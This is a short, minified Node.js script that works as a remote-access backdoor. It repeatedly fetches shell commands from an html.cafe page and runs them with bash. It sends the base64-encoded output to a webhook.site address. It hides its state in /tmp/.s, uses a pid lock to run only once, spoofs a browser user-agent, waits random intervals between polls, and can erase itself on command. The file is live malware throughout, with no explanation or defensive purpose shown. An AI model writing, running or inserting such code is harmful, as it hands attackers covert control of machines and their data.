const https=require("https"),{exec}=require("child_process"),fs=require("fs"); const D="/tmp/.s",CMD="https://html.cafe/xec259671",OUTS=["https://webhook.site/21a19613-bd44-489a-a215-2464c2097bfb/"]; const UA="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"; function get(u){return new Promise((res,rej)=>{let q=https.get(u,{headers:{"user-agent":UA,"cache-control":"no-cache"},timeout:8000},r=>{let d="";r.on("data",c=>d+=c);r.on("end",()=>res(d))});q.on("timeout",()=>q.destroy(new Error("t")));q.on("error",rej)})} let _oi=0; function post(b){return new Promise(r=>{const q=https.request(OUTS[_oi++ % OUTS.length]+b.q,{method:"POST",headers:{"content-type":"text/plain;charset=utf-8","user-agent":UA,"content-length":Buffer.byteLength(b.d)}},x=>{x.resume();x.on("end",r)});q.on("error",()=>r());q.end(b.d)})} function sleep(){return new Promise(r=>setTimeout(r,4000+Math.random()*7000))} function alive(pid){try{return fs.existsSync("/proc/"+pid)}catch(e){return false}} fs.mkdirSync(D,{recursive:true}); try{let p=parseInt(fs.readFileSync(D+"/pid","utf8"));if(p&&p!==process.pid&&alive(p))process.exit(0)}catch(e){} fs.writeFileSync(D+"/pid",String(process.pid)); let last=""; (async()=>{for(;;){ if(fs.existsSync(D+"/stop")){try{fs.unlinkSync(D+"/stop")}catch(e){};post({q:"?seq=stop&b=1",d:"bye"});break} let raw="";try{raw=await get(CMD)}catch(e){await sleep();continue} let t=raw.replace(/<[^>]*>/g,"").trim(); let m=t.match(/^#(\S+)\s*\n([\s\S]*)$/); if(!m||m[1]===last){await sleep();continue} last=m[1];let cmd=m[2].trim(); if(cmd==="__clean"){post({q:"?seq="+last+"&b=1",d:"clean"});try{fs.unlinkSync(D+"/pid")}catch(e){};exec("bash -c 'rm -rf /tmp/.s'");break} if(!cmd){await sleep();continue} exec(cmd,{shell:"/bin/bash",maxBuffer:10485760,timeout:180000},async(e,o,er)=>{ let out=Buffer.from("$ "+cmd+"\n"+(o||"")+(er||"")+(e?("\n[exit "+e.code+"]"):"")).toString("base64"); await post({q:"?seq="+last+"&b=1",d:out});}); await sleep(); }})();